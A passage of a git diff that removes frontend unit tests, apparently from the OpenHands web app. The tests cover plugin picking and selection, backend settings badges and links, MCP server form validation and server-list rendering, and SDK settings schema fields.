text: "# Demo readme", - }); - - renderFilesSection(); - await user.click(screen.getByTestId("file-tree-file-README.md")); - await screen.findByTestId("plugin-file-content"); - await user.click(screen.getByTestId("file-tree-file-README.md")); - - expect(screen.queryByTestId("plugin-file-content")).not.toBeInTheDocument(); - }); - - it("shows a binary notice instead of content for binary files", async () => { - const user = userEvent.setup(); - vi.spyOn(PluginsService, "getPluginFileContent").mockResolvedValue({ - kind: "binary", - text: null, - }); - - renderFilesSection(["logo.png"]); - await user.click(screen.getByTestId("file-tree-file-logo.png")); - - expect( - await screen.findByText("FILES$BINARY_FALLBACK"), - ).toBeInTheDocument(); - }); - - it("shows a load error when fetching the file fails", async () => { - const user = userEvent.setup(); - vi.spyOn(PluginsService, "getPluginFileContent").mockRejectedValue( - new Error("unreachable"), - ); - - renderFilesSection(); - await user.click(screen.getByTestId("file-tree-file-README.md")); - - expect(await screen.findByText("FILES$LOAD_ERROR")).toBeInTheDocument(); - }); -}); diff --git a/__tests__/components/features/plugins/plugin-picker.test.tsx b/__tests__/components/features/plugins/plugin-picker.test.tsx deleted file mode 100644 index e29f39cb1..000000000 --- a/__tests__/components/features/plugins/plugin-picker.test.tsx +++ /dev/null @@ -1,129 +0,0 @@ -import { screen } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { beforeEach, describe, expect, it, vi } from "vitest"; -import { renderWithProviders } from "test-utils"; -import PluginsService, { type MarketplacePlugin } from "#/api/plugins-service"; -import type { PluginSpec } from "#/api/conversation-service/agent-server-conversation-service.types"; -import { PluginPicker } from "#/components/features/plugins/plugin-picker"; - -// The catalog hook's service constructs a typescript-client `PluginsClient` at -// module load; stub it so importing the service never touches the real client. -// Every test replaces `getPluginsMarketplace` itself, so the client is unused. -vi.mock("@openhands/typescript-client/clients", () => ({ - PluginsClient: vi.fn(), -})); - -const alpha: MarketplacePlugin = { - name: "alpha", - description: "first plugin", - source: "github:o/a", - ref: null, - repo_path: "plugins/alpha", - installed: false, -}; -const beta: MarketplacePlugin = { - name: "beta", - description: "second plugin", - source: "github:o/b", - ref: null, - repo_path: null, - installed: true, -}; -const alphaSpec: PluginSpec = { - source: "github:o/a", - ref: null, - repo_path: "plugins/alpha", -}; - -function renderPicker(selected: PluginSpec[] = []) { - const onChange = vi.fn(); - renderWithProviders(); - return { onChange }; -} - -describe("PluginPicker", () => { - beforeEach(() => { - vi.restoreAllMocks(); - }); - - it("renders a selectable card for each catalog plugin", async () => { - vi.spyOn(PluginsService, "getPluginsMarketplace").mockResolvedValue([ - alpha, - beta, - ]); - - renderPicker(); - - expect( - await screen.findByTestId("plugin-picker-card-alpha"), - ).toBeInTheDocument(); - expect(screen.getByTestId("plugin-picker-card-beta")).toBeInTheDocument(); - }); - - it("reports the mapped PluginSpec when an unselected plugin is toggled on", async () => { - vi.spyOn(PluginsService, "getPluginsMarketplace").mockResolvedValue([ - alpha, - ]); - const { onChange } = renderPicker([]); - - await userEvent.click( - await screen.findByTestId("plugin-picker-toggle-alpha"), - ); - - expect(onChange).toHaveBeenCalledWith([alphaSpec]); - }); - - it("removes a plugin from the selection when toggled off", async () => { - vi.spyOn(PluginsService, "getPluginsMarketplace").mockResolvedValue([ - alpha, - ]); - const { onChange } = renderPicker([alphaSpec]); - - await userEvent.click( - await screen.findByTestId("plugin-picker-toggle-alpha"), - ); - - expect(onChange).toHaveBeenCalledWith([]); - }); - - it("shows the empty state when the catalog is empty", async () => { - vi.spyOn(PluginsService, "getPluginsMarketplace").mockResolvedValue([]); - - renderPicker(); - - expect( - await screen.findByTestId("plugin-picker-empty"), - ).toBeInTheDocument(); - }); - - it("shows the error state when the catalog fails to load", async () => { - vi.spyOn(PluginsService, "getPluginsMarketplace").mockRejectedValue( - new Error("unreachable"), - ); - - renderPicker(); - - expect( - await screen.findByTestId("plugin-picker-error"), - ).toBeInTheDocument(); - }); - - it("filters the catalog by the search query", async () => { - vi.spyOn(PluginsService, "getPluginsMarketplace").mockResolvedValue([ - alpha, - beta, - ]); - - renderPicker(); - await screen.findByTestId("plugin-picker-card-alpha"); - await userEvent.type( - screen.getByTestId("plugin-picker-search-input"), - "alpha", - ); - - expect(screen.getByTestId("plugin-picker-card-alpha")).toBeInTheDocument(); - expect( - screen.queryByTestId("plugin-picker-card-beta"), - ).not.toBeInTheDocument(); - }); -}); diff --git a/__tests__/components/features/plugins/plugin-spec-identity.test.ts b/__tests__/components/features/plugins/plugin-spec-identity.test.ts deleted file mode 100644 index 9a9df00fc..000000000 --- a/__tests__/components/features/plugins/plugin-spec-identity.test.ts +++ /dev/null @@ -1,87 +0,0 @@ -import { describe, expect, it } from "vitest"; -import type { MarketplacePlugin } from "#/api/plugins-service"; -import { - isPluginSelected, - marketplacePluginToSpec, - matchesPluginPickerSearch, - pluginSpecKey, - togglePluginSelection, -} from "#/components/features/plugins/plugin-spec-identity"; - -const catalogPlugin: MarketplacePlugin = { - name: "city-weather", - description: "Weather plugin", - source: "github:OpenHands/extensions", - ref: null, - repo_path: "plugins/city-weather", - installed: false, -}; - -describe("plugin-spec-identity", () => { - it("maps a catalog entry to attachable coordinates and drops parameters", () => { - // Arrange: a catalog entry that also carries non-coordinate fields. - // Act - const spec = marketplacePluginToSpec(catalogPlugin); - - // Assert: only source/ref/repo_path survive — no name/description/parameters. - expect(spec).toEqual({ - source: "github:OpenHands/extensions", - ref: null, - repo_path: "plugins/city-weather", - }); - }); - - it("treats missing and explicit-null coordinates as the same identity", () => { - // Arrange / Act / Assert: an undefined ref and a null ref hash equally, - // so a catalog entry matches a stored spec regardless of which it used. - expect(pluginSpecKey({ source: "github:o/a" })).toBe( - pluginSpecKey({ source: "github:o/a", ref: null, repo_path: null }), - ); - }); - - it("adds an unselected plugin to the selection", () => { - // Arrange - const selected = togglePluginSelection([], catalogPlugin); - - // Assert - expect(selected).toEqual([ - { - source: "github:OpenHands/extensions", - ref: null, - repo_path: "plugins/city-weather", - }, - ]); - }); - - it("removes a plugin that is already selected", () => { - // Arrange: the selection already contains the plugin's coordinates. - const existing = marketplacePluginToSpec(catalogPlugin); - - // Act: toggling the same plugin again removes it. - const selected = togglePluginSelection([existing], catalogPlugin); - - // Assert - expect(selected).toEqual([]); - }); - - it("reports whether a plugin's coordinates are in the selection", () => { - // Arrange - const selection = [marketplacePluginToSpec(catalogPlugin)]; - - // Assert: present coordinates match; a different repo_path does not. - expect(isPluginSelected(selection, catalogPlugin)).toBe(true); - expect( - isPluginSelected(selection, { - ...catalogPlugin, - repo_path: "plugins/other", - }), - ).toBe(false); - }); - - it("filters case-insensitively by visible fields and matches everything when empty", () => { - // Assert: empty query keeps all; a query matches across name/description/source. - expect(matchesPluginPickerSearch(catalogPlugin, "")).toBe(true); - expect(matchesPluginPickerSearch(catalogPlugin, "WEATHER")).toBe(true); - expect(matchesPluginPickerSearch(catalogPlugin, "nonexistent")).toBe(false); - }); -}); diff --git a/__tests__/components/features/settings/backend-synced-settings-badge.test.tsx b/__tests__/components/features/settings/backend-synced-settings-badge.test.tsx deleted file mode 100644 index 672b0734b..000000000 --- a/__tests__/components/features/settings/backend-synced-settings-badge.test.tsx +++ /dev/null @@ -1,161 +0,0 @@ -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { render, screen, waitFor } from "@testing-library/react"; -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; - -import { BackendSyncedSettingsBadge } from "#/components/features/settings/backend-synced-settings-badge"; -import { ActiveBackendProvider } from "#/contexts/active-backend-context"; -import { - __resetActiveStoreForTests, - setActiveSelection, - setRegisteredBackends, -} from "#/api/backend-registry/active-store"; -import * as orgService from "#/api/cloud/organization-service.api"; -import type { Backend } from "#/api/backend-registry/types"; - -// Override the global react-i18next mock for this file. The badge under -// test interpolates `{{name}}` and `{{host}}`, and one regression we -// care about is that the host's `/` characters render literally rather -// than HTML-escaped (`/`). The mock below performs `{{var}}` -// substitution and applies i18next's default HTML escape unless -// `interpolation.escapeValue === false` — exactly what the production -// runtime does — so a missing opt-out would surface as escaped output. -vi.mock("react-i18next", async (importOriginal) => { - const actual = await importOriginal(); - const TEMPLATES: Record = { - SETTINGS$BACKEND_SYNCED_BADGE: - "These settings are synced from {{name}} backend ({{host}})", - }; - const htmlEscape = (s: string) => - s - .replace(/&/g, "&") - .replace(//g, ">") - .replace(/"/g, """) - .replace(/'/g, "'") - .replace(/\//g, "/"); - return { - ...actual, - useTranslation: () => ({ - t: (key: string, opts?: Record) => { - const tpl = TEMPLATES[key] ?? key; - if (!opts) return tpl; - const { interpolation } = opts as { - interpolation?: { escapeValue?: boolean }; - }; - const escape = interpolation?.escapeValue !== false; - return tpl.replace(/\{\{(\w+)\}\}/g, (_match, name) => { - if (!(name in opts)) return ""; - const v = String((opts as Record)[name]); - return escape ? htmlEscape(v) : v; - }); - }, - i18n: { language: "en", exists: () => false }, - }), - }; -}); - -const cloudBackend: Backend = { - id: "prod", - name: "Production", - host: "https://app.all-hands.dev", - apiKey: "bearer", - kind: "cloud", -}; - -function renderBadge() { - return render(, { - wrapper: ({ children }) => ( - - {children} - - ), - }); -} - -describe("BackendSyncedSettingsBadge", () => { - beforeEach(() => { - vi.restoreAllMocks(); - window.localStorage.clear(); - __resetActiveStoreForTests(); - }); - - afterEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); - }); - - it("renders the seeded default local backend label and host URL without HTML-escaping", () => { - // Arrange — no explicit setRegisteredBackends() in this test; the - // active store auto-seeds a default local backend named "Local". - // Act - renderBadge(); - - // Assert — the default name slot resolves to "Local" and the host - // URL is preserved literally (no `/` from i18next escape). - const text = screen.getByTestId( - "backend-synced-settings-badge", - ).textContent; - expect(text).toMatch( - /These settings are synced from Local backend \(https?:\/\/.+\)/, - ); - expect(text).not.toContain("/"); - }); - - it("labels a cloud backend's active org as Personal Workspace when it matches the current user id", async () => { - // Arrange - setRegisteredBackends([cloudBackend]); - setActiveSelection({ backendId: cloudBackend.id, orgId: "user-1" }); - vi.spyOn(orgService, "getCurrentCloudApiKey").mockResolvedValue({ - isLegacyKey: false, - orgId: "user-1", - } as never); - vi.spyOn(orgService, "getCloudOrganizations").mockResolvedValue({ - items: [{ id: "user-1", name: "Hiep Le" }], - } as never); - vi.spyOn(orgService, "getCloudOrganizationMe").mockResolvedValue({ - orgId: "user-1", - userId: "user-1", - } as never); - - // Act - renderBadge(); - - // Assert - await waitFor(() => { - expect( - screen.getByTestId("backend-synced-settings-badge").textContent, - ).toContain("Production – BACKEND$PERSONAL_WORKSPACE"); - }); - }); - - it("labels a cloud backend's active org with the org's display name when the user is not the org owner", async () => { - // Arrange - setRegisteredBackends([cloudBackend]); - setActiveSelection({ backendId: cloudBackend.id, orgId: "team-org" }); - vi.spyOn(orgService, "getCurrentCloudApiKey").mockResolvedValue({ - isLegacyKey: false, - orgId: "team-org", - } as never); - vi.spyOn(orgService, "getCloudOrganizations").mockResolvedValue({ - items: [{ id: "team-org", name: "Acme Team" }], - } as never); - vi.spyOn(orgService, "getCloudOrganizationMe").mockResolvedValue({ - orgId: "team-org", - userId: "user-1", - } as never); - - // Act - renderBadge(); - - // Assert - await waitFor(() => { - expect( - screen.getByTestId("backend-synced-settings-badge").textContent, - ).toContain("Production – Acme Team"); - }); - }); -}); diff --git a/__tests__/components/features/settings/cloud-settings-link.test.tsx b/__tests__/components/features/settings/cloud-settings-link.test.tsx deleted file mode 100644 index d6bc20057..000000000 --- a/__tests__/components/features/settings/cloud-settings-link.test.tsx +++ /dev/null @@ -1,96 +0,0 @@ -import { describe, it, expect, beforeEach, afterEach } from "vitest"; -import { render, screen } from "@testing-library/react"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { - __resetActiveStoreForTests, - setActiveSelection, - setRegisteredBackends, -} from "#/api/backend-registry/active-store"; -import type { Backend } from "#/api/backend-registry/types"; -import { ActiveBackendProvider } from "#/contexts/active-backend-context"; -import { CloudSettingsLink } from "#/components/features/settings/cloud-settings-link"; - -const cloudBackend: Backend = { - id: "cloud-1", - name: "OpenHands Cloud", - host: "https://app.all-hands.dev", - apiKey: "token", - kind: "cloud", -}; - -const localBackend: Backend = { - id: "local-1", - name: "Local", - host: "http://localhost:3001", - apiKey: "local-key", - kind: "local", -}; - -function renderWithProviders() { - const queryClient = new QueryClient({ - defaultOptions: { queries: { retry: false } }, - }); - return render( - - - - - , - ); -} - -beforeEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); -}); - -afterEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); -}); - -describe("CloudSettingsLink", () => { - it("renders a link to {cloudHost}/settings when a cloud backend is active", () => { - setRegisteredBackends([cloudBackend]); - setActiveSelection({ backendId: cloudBackend.id }); - - renderWithProviders(); - - const link = screen.getByTestId("settings-cloud-link"); - expect(link).toHaveAttribute("href", "https://app.all-hands.dev/settings"); - expect(link).toHaveAttribute("target", "_blank"); - expect(link).toHaveAttribute("rel", "noopener noreferrer"); - // The test i18n mock returns the key verbatim; the human label - // ("Cloud") is exercised via the translation.json entry instead. - expect(link).toHaveTextContent("SETTINGS$CLOUD_SETTINGS_LINK"); - }); - - it("strips a trailing slash when building the cloud settings URL", () => { - setRegisteredBackends([ - { ...cloudBackend, host: "https://app.all-hands.dev/" }, - ]); - setActiveSelection({ backendId: cloudBackend.id }); - - renderWithProviders(); - - expect(screen.getByTestId("settings-cloud-link")).toHaveAttribute( - "href", - "https://app.all-hands.dev/settings", - ); - }); - - it("renders nothing when a local backend is active", () => { - setRegisteredBackends([localBackend]); - setActiveSelection({ backendId: localBackend.id }); - - renderWithProviders(); - - expect(screen.queryByTestId("settings-cloud-link")).toBeNull(); - }); - - it("renders nothing when no backend is configured", () => { - renderWithProviders(); - - expect(screen.queryByTestId("settings-cloud-link")).toBeNull(); - }); -}); diff --git a/__tests__/components/features/settings/mcp-settings/mcp-server-form.validation.test.tsx b/__tests__/components/features/settings/mcp-settings/mcp-server-form.validation.test.tsx deleted file mode 100644 index 82cd10f9c..000000000 --- a/__tests__/components/features/settings/mcp-settings/mcp-server-form.validation.test.tsx +++ /dev/null @@ -1,342 +0,0 @@ -import { render, screen, fireEvent } from "@testing-library/react"; -import { describe, it, expect, vi } from "vitest"; -import { MCPServerForm } from "#/components/features/settings/mcp-settings/mcp-server-form"; - -// i18n mock -vi.mock("react-i18next", () => ({ - useTranslation: () => ({ - t: (key: string) => key, - }), -})); - -describe("MCPServerForm validation", () => { - const noop = () => {}; - - it("rejects invalid env var lines and allows blank lines", () => { - const onSubmit = vi.fn(); - - render( - , - ); - - // Fill required fields - fireEvent.change(screen.getByTestId("name-input"), { - target: { value: "my_server" }, - }); - fireEvent.change(screen.getByTestId("command-input"), { - target: { value: "npx" }, - }); - - // Invalid env entries mixed with blank lines - fireEvent.change(screen.getByTestId("env-input"), { - target: { value: "invalid\n\nKEY=value\n=novalue\nKEY_ONLY=" }, - }); - - fireEvent.click(screen.getByTestId("submit-button")); - - // Should show invalid env format error - expect( - screen.getByText("SETTINGS$MCP_ERROR_ENV_INVALID_FORMAT"), - ).toBeInTheDocument(); - - // Fix env with valid lines and blank lines - fireEvent.change(screen.getByTestId("env-input"), { - target: { value: "KEY=value\n\nANOTHER=123" }, - }); - - fireEvent.click(screen.getByTestId("submit-button")); - - // No error; submit should be called - expect(onSubmit).toHaveBeenCalledTimes(1); - }); - - it("includes an optional server name for sse/shttp servers", () => { - const onSubmit = vi.fn(); - - render( - , - ); - - fireEvent.change(screen.getByTestId("server-name-input"), { - target: { value: "my_search" }, - }); - fireEvent.change(screen.getByTestId("url-input"), { - target: { value: "https://api.example.com" }, - }); - - fireEvent.click(screen.getByTestId("submit-button")); - - expect(onSubmit).toHaveBeenCalledTimes(1); - expect(onSubmit.mock.calls[0][0]).toMatchObject({ - type: "sse", - name: "my_search", - url: "https://api.example.com", - }); - }); - - it("allows hyphenated local stdio server names", () => { - const onSubmit = vi.fn(); - - render( - , - ); - - fireEvent.change(screen.getByTestId("name-input"), { - target: { value: "integrations-hub" }, - }); - fireEvent.change(screen.getByTestId("command-input"), { - target: { value: "npx" }, - }); - - fireEvent.click(screen.getByTestId("submit-button")); - - expect(onSubmit).toHaveBeenCalledTimes(1); - expect(onSubmit.mock.calls[0][0]).toMatchObject({ - type: "stdio", - name: "integrations-hub", - command: "npx", - }); - }); - - it("allows hyphenated remote server names", () => { - const onSubmit = vi.fn(); - - render( - , - ); - - fireEvent.change(screen.getByTestId("server-name-input"), { - target: { value: "integrations-hub" }, - }); - fireEvent.change(screen.getByTestId("url-input"), { - target: { value: "https://api.example.com/mcp" }, - }); - - fireEvent.click(screen.getByTestId("submit-button")); - - expect(onSubmit).toHaveBeenCalledTimes(1); - expect(onSubmit.mock.calls[0][0]).toMatchObject({ - type: "shttp", - name: "integrations-hub", - url: "https://api.example.com/mcp", - }); - }); - - it("submits header authentication as a tagged auth credential", () => { - const onSubmit = vi.fn(); - - render( - , - ); - - fireEvent.change(screen.getByTestId("headers-input"), { - target: { - value: "DD-API-KEY=dd-api\nDD-APPLICATION-KEY=dd-app", - }, - }); - - fireEvent.click(screen.getByTestId("submit-button")); - - expect(onSubmit).toHaveBeenCalledTimes(1); - expect(onSubmit.mock.calls[0][0]).toMatchObject({ - type: "shttp", - name: "datadog", - url: "https://api.example.com/mcp", - auth: { - strategy: "header", - headers: { - "DD-API-KEY": "dd-api", - "DD-APPLICATION-KEY": "dd-app", - }, - }, - }); - }); - - it("rejects an sse/shttp server name with unsafe characters", () => { - const onSubmit = vi.fn(); - - render( - , - ); - - fireEvent.change(screen.getByTestId("server-name-input"), { - target: { value: "my server" }, - }); - fireEvent.change(screen.getByTestId("url-input"), { - target: { value: "https://api.example.com" }, - }); - - fireEvent.click(screen.getByTestId("submit-button")); - - // A name with a space can't be a safe mcp_config key, so submission is - // blocked rather than persisted under a malformed key. - expect( - screen.getByText("SETTINGS$MCP_ERROR_NAME_INVALID"), - ).toBeInTheDocument(); - expect(onSubmit).not.toHaveBeenCalled(); - }); - - it("omits the name when the sse/shttp name field is left blank", () => { - const onSubmit = vi.fn(); - - render( - , - ); - - fireEvent.change(screen.getByTestId("url-input"), { - target: { value: "https://api.example.com" }, - }); - - fireEvent.click(screen.getByTestId("submit-button")); - - expect(onSubmit).toHaveBeenCalledTimes(1); - expect(onSubmit.mock.calls[0][0].name).toBeUndefined(); - }); - - it("preserves OAuth state when editing a remote OAuth server", () => { - const onSubmit = vi.fn(); - const oauthState = { - tokens: { - access_token: "**********", - refresh_token: "**********", - }, - }; - - render( - , - ); - - fireEvent.click(screen.getByTestId("submit-button")); - - expect(onSubmit).toHaveBeenCalledTimes(1); - expect(onSubmit.mock.calls[0][0]).toMatchObject({ - auth: { - strategy: "oauth2", - authentication: { type: "oauth", client_auth_method: "none" }, - state: oauthState, - }, - }); - }); - - it("rejects duplicate URLs across sse/shttp types", () => { - const onSubmit = vi.fn(); - - const existingServers = [ - { id: "sse-1", type: "sse" as const, url: "https://api.example.com" }, - { id: "shttp-1", type: "shttp" as const, url: "https://x.example.com" }, - ]; - - const r1 = render( - , - ); - - fireEvent.change(screen.getAllByTestId("url-input")[0], { - target: { value: "https://api.example.com" }, - }); - - fireEvent.click(screen.getAllByTestId("submit-button")[0]); - expect( - screen.getByText("SETTINGS$MCP_ERROR_URL_DUPLICATE"), - ).toBeInTheDocument(); - - // Unmount first form, then check shttp duplicate - r1.unmount(); - - const r2 = render( - , - ); - - fireEvent.change(screen.getAllByTestId("url-input")[0], { - target: { value: "https://api.example.com" }, - }); - - fireEvent.click(screen.getAllByTestId("submit-button")[0]); - expect( - screen.getByText("SETTINGS$MCP_ERROR_URL_DUPLICATE"), - ).toBeInTheDocument(); - - r2.unmount(); - }); -}); diff --git a/__tests__/components/features/settings/mcp-settings/mcp-server-list.test.tsx b/__tests__/components/features/settings/mcp-settings/mcp-server-list.test.tsx deleted file mode 100644 index 05261ab8b..000000000 --- a/__tests__/components/features/settings/mcp-settings/mcp-server-list.test.tsx +++ /dev/null @@ -1,152 +0,0 @@ -import { render, screen } from "@testing-library/react"; -import { describe, it, expect, vi } from "vitest"; -import { MCPServerList } from "#/components/features/settings/mcp-settings/mcp-server-list"; - -// Mock react-i18next -vi.mock("react-i18next", () => ({ - useTranslation: () => ({ - t: (key: string) => key, - }), -})); - -const mockServers = [ - { - id: "sse-0", - type: "sse" as const, - url: "https://very-long-url-that-could-cause-layout-overflow.example.com/api/v1/mcp/server/endpoint/with/many/path/segments", - }, - { - id: "stdio-0", - type: "stdio" as const, - name: "test-stdio-server", - command: "python", - args: ["-m", "test_server"], - }, -]; - -describe("MCPServerList", () => { - it("should render servers with proper layout structure", () => { - const mockOnEdit = vi.fn(); - const mockOnDelete = vi.fn(); - - render( - , - ); - - // Check that the table structure is rendered - const table = screen.getByRole("table"); - expect(table).toBeInTheDocument(); - - // Check that server items are rendered - const serverItems = screen.getAllByTestId("mcp-server-item"); - expect(serverItems).toHaveLength(2); - - // Check that action buttons are present for each server - const editButtons = screen.getAllByTestId("edit-mcp-server-button"); - const deleteButtons = screen.getAllByTestId("delete-mcp-server-button"); - expect(editButtons).toHaveLength(2); - expect(deleteButtons).toHaveLength(2); - }); - - it("should render empty state when no servers", () => { - const mockOnEdit = vi.fn(); - const mockOnDelete = vi.fn(); - - render( - , - ); - - expect(screen.getByText("SETTINGS$MCP_NO_SERVERS")).toBeInTheDocument(); - }); - - it("should handle long URLs without breaking layout", () => { - const longUrlServer = { - id: "sse-0", - type: "sse" as const, - url: "https://extremely-long-url-that-would-previously-cause-layout-overflow-and-push-action-buttons-out-of-view.example.com/api/v1/mcp/server/endpoint/with/many/path/segments/and/query/parameters?param1=value1¶m2=value2¶m3=value3", - }; - - const mockOnEdit = vi.fn(); - const mockOnDelete = vi.fn(); - - render( - , - ); - - // Check that action buttons are still present and accessible - const editButton = screen.getByTestId("edit-mcp-server-button"); - const deleteButton = screen.getByTestId("delete-mcp-server-button"); - - expect(editButton).toBeInTheDocument(); - expect(deleteButton).toBeInTheDocument(); - - // Check that the URL is properly displayed with title attribute for accessibility - const detailsCells = screen.getAllByTitle(longUrlServer.url); - expect(detailsCells).toHaveLength(2); // Name and Details columns both have the URL - }); - - it("should display command and arguments for STDIO servers", () => { - const stdioServer = { - id: "stdio-1", - type: "stdio" as const, - name: "test-server", - command: "python", - args: ["-m", "test_module", "--verbose"], - }; - - const mockOnEdit = vi.fn(); - const mockOnDelete = vi.fn(); - - render( - , - ); - - // Check that the server details show command + arguments - const expectedDetails = "python -m test_module --verbose"; - expect(screen.getByTitle(expectedDetails)).toBeInTheDocument(); - expect(screen.getByText(expectedDetails)).toBeInTheDocument(); - }); - - it("should fallback to server name for STDIO servers without command", () => { - const stdioServer = { - id: "stdio-2", - type: "stdio" as const, - name: "fallback-server", - }; - - const mockOnEdit = vi.fn(); - const mockOnDelete = vi.fn(); - - render( - , - ); - - // Check that the server details show the server name as fallback - // Both name and details columns will have the same value, so we expect 2 elements - const fallbackElements = screen.getAllByTitle("fallback-server"); - expect(fallbackElements).toHaveLength(2); - - const fallbackTextElements = screen.getAllByText("fallback-server"); - expect(fallbackTextElements).toHaveLength(2); - }); -}); diff --git a/__tests__/components/features/settings/sdk-settings/schema-field.test.tsx b/__tests__/components/features/settings/sdk-settings/schema-field.test.tsx deleted file mode 100644 index 3c541d821..000000000 --- a/__tests__/components/features/settings/sdk-settings/schema-field.test.tsx +++ /dev/null @@ -1,104 +0,0 @@ -import { render, screen } from "@testing-library/react"; -import { describe, expect, it, vi } from "vitest"; -import { SchemaField } from "#/components/features/settings/sdk-settings/schema-field"; -import { SettingsFieldSchema } from "#/types/settings"; - -vi.mock("react-i18next", () => ({ - useTranslation: () => ({ - t: (key: string) => - ({ - SETTINGS$TOP_P_LABEL: "Top P", - SETTINGS$TOP_P_DESCRIPTION: "Controls nucleus sampling.", - SCHEMA$VERIFICATION$CRITIC_API_KEY$HELP_TEXT: - "If OpenHands is selected as your active LLM provider, leave this empty because the Critic API Key is the same as your OpenHands Provider LLM Key, which you can find in the", - SCHEMA$VERIFICATION$CRITIC_API_KEY$HELP_SUFFIX: - "tab of OpenHands Cloud; otherwise, enter a Critic API Key from that page.", - SETTINGS$NAV_API_KEYS: "API Keys", - })[key] ?? key, - }), -})); - -function buildField( - overrides: Partial = {}, -): SettingsFieldSchema { - return { - key: "llm.top_p", - label: "Top P", - description: "Controls nucleus sampling.", - section: "llm", - section_label: "LLM", - value_type: "number", - default: 1, - choices: [], - depends_on: [], - prominence: "major", - secret: false, - required: false, - ...overrides, - }; -} - -describe("SchemaField", () => { - it("constrains the Top P input to the valid numeric range", () => { - render( - {}} - />, - ); - - const input = screen.getByTestId("sdk-settings-llm.top_p"); - - expect(input).toHaveAttribute("min", "0"); - expect(input).toHaveAttribute("max", "1"); - expect(input).toHaveAttribute("step", "0.01"); - }); - - it("translates schema-backed labels and descriptions", () => { - render( - {}} - />, - ); - - expect(screen.getByText("Top P")).toBeInTheDocument(); - expect(screen.getByText("Controls nucleus sampling.")).toBeInTheDocument(); - }); - - it("renders critic API key guidance as one settings-sized help line", () => { - render( - {}} - />, - ); - - const help = screen.getByTestId("help-link-verification.critic_api_key"); - - expect(help).toHaveTextContent( - "Critic API Key is the same as your OpenHands Provider LLM Key", - ); - expect(help).toHaveTextContent("API Keys"); - expect(help).toHaveClass("text-sm"); - expect(help).toHaveClass("font-normal"); - expect( - screen.queryByText("Server schema description should be replaced."), - ).not.toBeInTheDocument(); - }); -}); diff --git a/__tests__/components/features/settings/sdk-settings/sdk-section-page.test.tsx b/__tests__/components/features/settings/sdk-settings/sdk-section-page.test.tsx deleted file mode 100644 index c0fa2f34f..000000000 --- a/__tests__/components/features/settings/sdk-settings/sdk-section-page.test.tsx +++ /dev/null @@ -1,884 +0,0 @@ -import React from "react"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { AxiosError } from "axios"; -import { render, screen, waitFor } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { beforeEach, describe, expect, it, vi } from "vitest"; - -import SettingsService from "#/api/settings-service/settings-service.api"; -import { - SdkSectionPage, - type SdkSectionSaveControl, -} from "#/components/features/settings/sdk-settings/sdk-section-page"; -import { MOCK_DEFAULT_USER_SETTINGS } from "#/mocks/handlers"; -import { Settings } from "#/types/settings"; -import * as ToastHandlers from "#/utils/custom-toast-handlers"; - -const mockUseSearchParams = vi.fn(); -vi.mock("react-router", async () => { - const actual = - await vi.importActual("react-router"); - return { - ...actual, - useSearchParams: () => mockUseSearchParams(), - useRevalidator: () => ({ revalidate: vi.fn() }), - }; -}); - -const mockUseConfig = vi.fn(); -vi.mock("#/hooks/query/use-config", () => ({ - useConfig: () => mockUseConfig(), -})); - -function buildSettings(overrides: Partial = {}): Settings { - return { - ...MOCK_DEFAULT_USER_SETTINGS, - ...overrides, - agent_settings: { - ...MOCK_DEFAULT_USER_SETTINGS.agent_settings, - ...overrides.agent_settings, - }, - agent_settings_schema: - overrides.agent_settings_schema ?? - MOCK_DEFAULT_USER_SETTINGS.agent_settings_schema, - conversation_settings: { - ...MOCK_DEFAULT_USER_SETTINGS.conversation_settings, - ...overrides.conversation_settings, - }, - conversation_settings_schema: - overrides.conversation_settings_schema ?? - MOCK_DEFAULT_USER_SETTINGS.conversation_settings_schema, - }; -} - -function buildSavableSettings(): Settings { - return buildSettings({ - agent_settings_schema: { - model_name: "AgentSettings", - sections: [ - { - key: "llm", - label: "LLM", - fields: [ - { - key: "llm.endpoint", - label: "Endpoint", - section: "llm", - section_label: "LLM", - value_type: "string", - default: "https://api.example.com", - choices: [], - depends_on: [], - prominence: "critical", - secret: false, - required: true, - }, - ], - }, - ], - }, - agent_settings: { - "llm.endpoint": "https://api.example.com", - }, - }); -} - -function renderSdkSectionPage( - props: React.ComponentProps, -) { - const queryClient = new QueryClient({ - defaultOptions: { - queries: { retry: false }, - }, - }); - - mockUseConfig.mockReturnValue({ - data: {}, - isLoading: false, - }); - mockUseSearchParams.mockReturnValue([{ get: () => null }, vi.fn()]); - - return render(React.createElement(SdkSectionPage, props), { - wrapper: ({ children }) => ( - {children} - ), - }); -} - -beforeEach(() => { - vi.restoreAllMocks(); - mockUseConfig.mockReturnValue({ - data: {}, - isLoading: false, - }); - mockUseSearchParams.mockReturnValue([{ get: () => null }, vi.fn()]); -}); - -describe("SdkSectionPage", () => { - it("renders advanced-only fields when a custom initial view is provided", async () => { - const schema: NonNullable = { - model_name: "AgentSettings", - sections: [ - { - key: "llm", - label: "LLM", - fields: [ - { - key: "llm.model", - label: "Model", - section: "llm", - section_label: "LLM", - value_type: "string", - default: "openai/gpt-4o", - choices: [], - depends_on: [], - prominence: "critical", - secret: false, - required: true, - }, - { - key: "llm.api_version", - label: "API Version", - section: "llm", - section_label: "LLM", - value_type: "string", - default: null, - choices: [], - depends_on: [], - prominence: "major", - secret: false, - required: false, - }, - ], - }, - ], - }; - - vi.spyOn(SettingsService, "getSettings").mockResolvedValue( - buildSettings({ - agent_settings_schema: schema, - agent_settings: { - "llm.model": "openai/gpt-4o", - }, - }), - ); - - renderSdkSectionPage({ - settingsSources: [ - { settingsSource: "agent_settings", sectionKeys: ["llm"] }, - ], - getInitialView: () => "advanced", - }); - - expect( - await screen.findByTestId("sdk-settings-llm.api_version"), - ).toBeInTheDocument(); - }); - - it("preserves the selected view when parent rerenders with the same settings", async () => { - const schema: NonNullable = { - model_name: "AgentSettings", - sections: [ - { - key: "llm", - label: "LLM", - fields: [ - { - key: "llm.model", - label: "Model", - section: "llm", - section_label: "LLM", - value_type: "string", - default: "openhands/claude-opus-4-5-20251101", - choices: [], - depends_on: [], - prominence: "critical", - secret: false, - required: true, - }, - { - key: "llm.base_url", - label: "Base URL", - section: "llm", - 